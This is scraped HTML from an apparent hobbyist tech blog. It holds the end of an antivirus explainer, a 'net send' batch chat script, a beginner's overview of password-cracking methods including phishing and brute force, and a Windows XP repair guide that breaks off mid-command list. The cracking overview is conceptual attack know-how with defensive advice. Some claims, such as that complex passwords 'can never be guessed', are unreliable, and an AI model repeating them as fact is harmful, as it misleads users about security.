font-size: medium;">2. Heuristic-based detection (Suspicious behaviour approach)</span></h3><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">Heuristic-based detection involves identifying <em style="background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">suspicious behaviour </em>from  any given program which might indicate a potential risk. This approach  is used by some of the sophisticated antivirus software to identify new  malware and variants of known malware.</span></div><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">Unlike  the signature based approach, here the antivirus doesn’t attempt to  identify known viruses, but instead monitors the behavior of all  programs.</span></div><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">For example,  malicious behaviours like a program trying to write data to an  executable program is flagged and the user is alerted about this action.  This method of detection gives an additional level of security from  unidentified threats.</span></div><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;"><strong style="background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #e06666; font-size: medium;">File emulation:</span></strong> This is another type of <em style="background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">heuristic-based approach </em>where  a given program is executed in a virtual environment and the actions  performed by it are logged. Based on the actions logged, the antivirus  software can determine if the program is malicious or not and carry out  necessary actions in order to clean the infection.</span></div><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">Most commercial antivirus software use a combination of both signature-based and heuristic-based approaches to combat malware.</span></div><h3 style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin: 0px 0px 0.9em; outline: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #e06666; font-family: Courier New, Courier, monospace; font-size: medium;">Issues of Concern:</span></h3><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;"><strong style="background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #e06666; font-size: medium;">Zero-day threats:</span> </strong>A  zero-day (zero-hour ) threat or attack is where a malware tries to  exploit computer application vulnerabilities that are  yet unidentified by the antivirus software companies. These attacks are  used to cause damage to the computer even before they are identified.  Since patches are not yet released for these kind of new threats, they  can easily manage to bypass the antivirus software and carry out  malicious actions. However, most of the threats are identified after a  day or two of it’s release, but damage caused by them before  identification is quite inevitable.</span></div><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;"><strong style="background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #e06666; font-size: medium;">Daily Updates:</span> </strong>Since  new viruses and threats are released every day, it is most essential to  update the antivirus software so that the virus definitions are kept  up-to-date. Most software will have an auto-update feature so that, the  virus definitions are updated whenever the computer is connected to the  Internet.</span></div><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;"><strong style="background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #e06666; font-size: medium;">Effectiveness:</span> </strong>Even  though an antivirus software can catch almost every malware, it is  still not 100% foolproof against all kinds of threats. As explained  earlier, a zero-day threat can easily bypass the protective shield of  the antivirus software. Also virus authors have tried to stay a step  ahead by writing “<a href="http://en.wikipedia.org/wiki/Oligomorphic_code" style="-webkit-transition: all 0.2s; background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; color: #0060a6; font-weight: bold; margin: 0px; outline: 0px; padding: 0px; text-decoration: initial; vertical-align: baseline;" target="_blank" title="Oligomorphic code">oligomorphic</a>“, “<a href="http://en.wikipedia.org/wiki/Polymorphic_code" style="-webkit-transition: all 0.2s; background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; color: #0060a6; font-weight: bold; margin: 0px; outline: 0px; padding: 0px; text-decoration: initial; vertical-align: baseline;" target="_blank" title="Polymorphic code">polymorphic</a>” and, more recently, “<a href="http://en.wikipedia.org/wiki/Metamorphic_code" style="-webkit-transition: all 0.2s; background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; color: #0060a6; font-weight: bold; margin: 0px; outline: 0px; padding: 0px; text-decoration: initial; vertical-align: baseline;" target="_blank" title="Metamorphic code">metamorphic</a>”  virus codes, which will encrypt parts of themselves or otherwise modify  themselves as a method of disguise, so as to not match virus signatures  in the dictionary.</span></div><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">Thus user  awareness is as important as antivirus software; users must be  trained to practice safe surfing habits such as downloading files only  from trusted websites and not blindly executing a program that is  unknown or obtained from an untrusted source. I hope this article will  help you understand the working of an antivirus software.</span></div></div>

How Antivirus Software Works

Due to ever increasing threat from virus and other malicious programs, almost every computer today comes with a pre-installed antivirus so...

Chat with Friends through ms dos Command Prompt

<div dir="ltr" style="text-align: left;" trbidi="on"><span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; color: #333333; line-height: 17px;">1) All you need is your friend's IP Address and your Command Prompt.</span></span><br /><span style="font-family: Courier New, Courier, monospace;"><br style="background-color: white; color: #333333; line-height: 17px;" /></span><span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; color: #333333; line-height: 17px;">2) Open Notepad and write this code as it is.....!</span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;"><br /></span></span><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;">@echo off</span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;">:A</span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;">Cls</span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;">echo MESSENGER</span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;">set /p n=User:</span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;">set /p m=Message:</span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;">net send %n% %m%</span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;">Pause</span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;">Goto A</span></span><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;"><br /></span></span><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;"><br /></span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;">3) Now save this as "Messenger.Bat".</span></span><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;"><br /></span></span><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;"><br /></span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;">4) Open Command Prompt.</span></span><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;"><br /></span></span><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;"><br /></span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;">5) Drag this file (.bat file) over to Command Prompt and press </span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;">Enter.</span></span><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;"><br /></span></span><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;"><br /></span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;">6) Now, type the IP Address of the computer you want to contact and press enter</span></span><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;"><br /></span></span><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;"><br /></span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;">7) Now all you need to do is type your message and press Enter.</span></span><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;">Start Chatting.......!</span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;"><br /></span></span><span style="font-family: Courier New, Courier, monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; line-height: 17px;">Share for anyone........................<wbr></wbr><span class="word_break" style="display: inline-block;"></span>..</span></span></div>

Chat with Friends through ms dos Command Prompt

1) All you need is your friend's IP Address and your Command Prompt. 2) Open Notepad and write this code as it is.....! @echo off :A Cls...

Basic of Password Cracking for Beginner

<div dir="ltr" style="text-align: left;" trbidi="on"><h3 class="post-title entry-title" itemprop="name"></h3><div class="post-header"> </div><span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; color: #333333; line-height: 17px;">Password  cracking is the process of recovering secret passwords from data that  has been stored in or transmitted by a computer system. A common  approach is to repeatedly try guesses for the password.</span><br /><span style="background-color: white; color: #333333; line-height: 17px;"><br /></span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; color: #333333; line-height: 17px;">Most passwords can be cracked by using following techniques :</span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><b><span style="color: #e06666; font-size: medium;">1) Hashing :-</span></b><span style="color: #333333;"> </span></span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><span style="color: #333333;"><br /></span></span></span><span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><span style="color: #333333;">Here  we will refer to the one way function (which may be either an  encryption function or cryptographic hash) employed as a hash and its  output as a hashed password.</span></span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">If  a system uses a reversible function to obscure stored passwords,  exploiting that weakness can recover even 'well-chosen' passwords.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">One  example is the LM hash that Microsoft Windows uses by default to store  user passwords that are less than 15 characters in length.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">LM  hash breaks the password into two 7-character fields which are then  hashed separately, allowing each half to be attacked separately.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Hash functions like SHA-512, SHA-1, and MD5 are considered impossible to invert when used correctly.</span></span><br /><a href="http://www.blogger.com/null" name="more"></a><span style="font-family: Courier New, Courier, monospace;"><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; line-height: 17px;"><span style="color: #e06666; font-size: medium;"><b>2) Guessing :-</b></span><span style="color: #333333;"> </span></span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><span style="color: #333333;"><br /></span></span></span><span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><span style="color: #333333;">Many  passwords can be guessed either by humans or by sophisticated cracking  programs armed with dictionaries (dictionary based) and the user's  personal information.</span></span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Not  surprisingly, many users choose weak passwords, usually one related to  themselves in some way. Repeated research over some 40 years has  demonstrated that around 40% of user-chosen passwords are readily  guessable by programs. Examples of insecure choices include:</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">* blank (none)</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">* the word "password", "passcode", "admin" and their derivatives</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">* the user's name or login name</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">* the name of their significant other or another person (loved one)</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">* their birthplace or date of birth</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">* a pet's name</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">* a dictionary word in any language</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">* automobile licence plate number</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">* a row of letters from a standard keyboard layout (eg, the qwerty keyboard -- qwerty itself, asdf, or qwertyuiop)</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">* a simple modification of one of the preceding, such as suffixing a digit or reversing the order of the letters.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">and so on....</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">In  one survery of MySpace passwords which had been phished, 3.8 percent of  passwords were a single word found in a dictionary, and another 12  percent were a word plus a final digit; two-thirds of the time that  digit was.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">A  password containing both uppercase & lowercase characters, numbers  and special characters too; is a strong password and can never be  guessed.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Check Your Password Strength</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; line-height: 17px;"><b><span style="color: #e06666; font-size: medium;">3) Default Passwords :-</span></b><span style="color: #333333;"> </span></span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><span style="color: #333333;"><br /></span></span></span><span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><span style="color: #333333;">A  moderately high number of local and online applications have inbuilt  default passwords that have been configured by programmers during  development stages of software. There are lots of applications running  on the internet on which default passwords are enabled. So, it is quite  easy for an attacker to enter default password and gain access to  sensitive information. A list containing default passwords of some of  the most popular applications is available on the internet.</span></span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Always disable or change the applications' (both online and offline) default username-password pairs.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; line-height: 17px;"><b><span style="color: #e06666; font-size: medium;">4) Brute Force :-</span></b><span style="color: #333333;"> </span></span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><span style="color: #333333;"><br /></span></span></span><span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><span style="color: #333333;">If  all other techniques failed, then attackers uses brute force password  cracking technique. Here an automatic tool is used which tries all  possible combinations of available keys on the keyboard. As soon as  correct password is reached it displays on the screen.This techniques  takes extremely long time to complete, but password will surely cracked.</span></span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Long is the password, large is the time taken to brute force it.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; line-height: 17px;"><span style="color: #e06666; font-size: medium;"><b>5) Phishing :-</b></span><span style="color: #333333;"> </span></span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><span style="color: #333333;"><br /></span></span></span><span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><span style="color: #333333;">This  is the most effective and easily executable password cracking technique  which is generally used to crack the passwords of e-mail accounts, and  all those accounts where secret information or sensitive personal  information is stored by user such as social networking websites,  matrimonial websites, etc.</span></span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Phishing  is a technique in which the attacker creates the fake login screen and  send it to the victim, hoping that the victim gets fooled into entering  the account username and password. As soon as victim click on "enter" or  "login" login button this information reaches to the attacker using  scripts or online form processors while the user(victim) is redirected  to home page of e-mail service provider.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;"><br /></span></span><br /><span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; color: #333333; line-height: 17px;">Never give reply to the messages which are demanding for your username-password, urging to be e-mail service provider.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">It  is possible to try to obtain the passwords through other different  methods, such as social engineering, wiretapping, keystroke logging,  login spoofing, dumpster diving, phishing, shoulder surfing, timing  attack, acoustic cryptanalysis, using a Trojan Horse or virus, identity  management system attacks (such as abuse of Self-service password reset)  and compromising host security.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">However, cracking usually designates a guessing attack.</span></span></div>

Basic of Password Cracking for Beginner

Password cracking is the process of recovering secret passwords from data that has been stored in or transmitted by a computer system. A ...

Repairing Windows XP in Eight Commands

<div dir="ltr" style="text-align: left;" trbidi="on"><span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; color: #333333; line-height: 17px;">Windows could not start because the following file is missing or corrupt:</span><br /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">\\WINDOWS\\SYSTEM32\\CONFIG\\S</span><wbr style="background-color: white; color: #333333; line-height: 17px;"></wbr><span class="word_break" style="background-color: white; color: #333333; display: inline-block; line-height: 17px;"></span><span style="background-color: white; color: #333333; line-height: 17px;">YSTEM</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">You can attempt to repair this file by starting Windows Setup</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">using the original Setup CD-ROM.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Select ‘R’ at the first screen to start repair.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Which  renders your PC inaccessible from the standard boot procedures of  Windows XP. You try safe mode, to no avail. You’re particularly savvy  and try issuing the FIXBOOT and FIXMBR commands in the Windows recovery  console, but after each reboot, you’re merely greeted with the same  obnoxious and terrifying blue screen of death that’s preventing you from  accessing your precious data.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Perhaps you’ve also seen these error screens:</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Windows NT could not start because the below file is missing or corrupt:</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">X:\\WINNT\\System32\\Ntoskrnl.</span><wbr style="background-color: white; color: #333333; line-height: 17px;"></wbr><span class="word_break" style="background-color: white; color: #333333; display: inline-block; line-height: 17px;"></span><span style="background-color: white; color: #333333; line-height: 17px;">exe</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">_________________</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Windows NT could not start because the below file is missing or corrupt:</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">X:\\WINNT\\System32\\HAL.dll</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">_________________</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">NTLDR is Missing</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Press any key to restart</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">_________________</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Invalid boot.ini</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Press any key to restart</span></span><br /><a href="http://www.blogger.com/null" name="more"></a><span style="font-family: Courier New, Courier, monospace;"><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Allow  me to build tension by prefacing the end-all/be-all solution with my  background: Having worked for the now-incorporated Geek Squad branch of  Best Buy Corporation for the better part of eight months, I have seen  dozens upon dozens of systems come through our department with any one  of these errors, brought in by customers who are afraid they did  something, have a virus, or are in jeopardy of losing their data. Prior  to my discovery of an invaluable sequence of commands, our standard  procedure was to hook the afflicted drive to an external enclosure, back  up a customer’s data and then restore the PC with the customer’s  restore discs or an identical copy of Windows with the customer’s OEM  license key. If the customer wasn’t keen on the applicable charges for  the data backup, we informed them of the potential risks for a Windows  repair installation (Let’s face it, they don’t always work right), had  them sign a waiver, and we did our best.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Neither  of these procedures are cheap in the realm of commercial PC repair, nor  do they inspire a tremendous level of confidence in the technician or  the hopeful client.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">In  an effort to expedite our repair time and retain the sanity of myself  and other technicians, I received permission to undertake a case study  on a variety of PCs currently in service that exhibited any of the  aforementioned symptoms, and I took it upon myself to find a better  solution. After crawling through the MSKB, Experts Exchange, MSDN and  sundry websites all extolling the virtues of a solution to these  problems, I only found one that worked, and it has been reliably serving  me for the better part of two weeks on seventeen PCs to date. The  process is simple: Get to the Windows Recovery Console for your  particular Windows installation, navigate to the root letter of your  installation (C: in most cases), issue eight commands, and reboot. The  cornerstone of this process is a command called “BOOTCFG /Rebuild” which  is a complete diagnostic of the operating system loaded into the  recovery console; the purpose of the command is to remove/replace/repair  any system files that were preventing the operating system from loading  correctly. Amongst the files it fixes are:</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Windows Hardware Abstraction Layer (HAL)</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Corrupt registry hives (\\WINDOWS\\SYSTEM32\\CONFIG\\</span><wbr style="background-color: white; color: #333333; line-height: 17px;"></wbr><span class="word_break" style="background-color: white; color: #333333; display: inline-block; line-height: 17px;"></span><span style="background-color: white; color: #333333; line-height: 17px;">xxxxxx)</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Invalid BOOT.INI files</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">A corrupt NTOSKRNL.EXE</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">A missing NT Loader (NTLDR)</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">The  command process may apply to other types of blue screens or  Hive/HAL/INI/EXE/DLL-related stop errors, but I have not had the luxury  of computers in this type of disrepair. The process I am about to  outline is virtually harmless, and if you feel you may be able to  correct your PC’s boot-time blue screens and stop errors with the  sequence, feel free to try. Let us now begin with a step-by-step  instruction for correcting these issues.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">GETTING TO THE WINDOWS RECOVERY CONSOLE</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Insert  your Windows XP CD into your CD and assure that your CD-ROM drive is  capable of booting the CD. Configuring your computer to boot from CD is  outside of the scope of this document, but if you are having trouble,  consult Google for assistance.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Once  you have booted from CD, do not select the option that states: “Press  F2 to initiate the Automated System Recovery (ASR) tool.” You’re going  to proceed until you see the following screen, at which point you will  press the “R” key to enter the recovery console:</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">After  you have selected the appropriate option from step two, you will be  prompted to select a valid Windows installation (Typically number “1″).  Select the installation number, (As mentioned, “1″ in most cases), and  hit enter. If there is an administrator password for the administrator  account, enter it and hit enter. You will be greeted with this screen,  which indicates a recovery console at the ready:</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">PROCEEDING WITH THE REPAIR FUNCTIONS</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">There  are eight commands you must enter in sequence to repair any of the  issues I noted in the opening of this guide. I will introduce them here,  and then show the results graphically in the next six steps. These  commands are as follows:</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">C: CD ..</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">C: ATTRIB -H C:\\boot.ini</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: 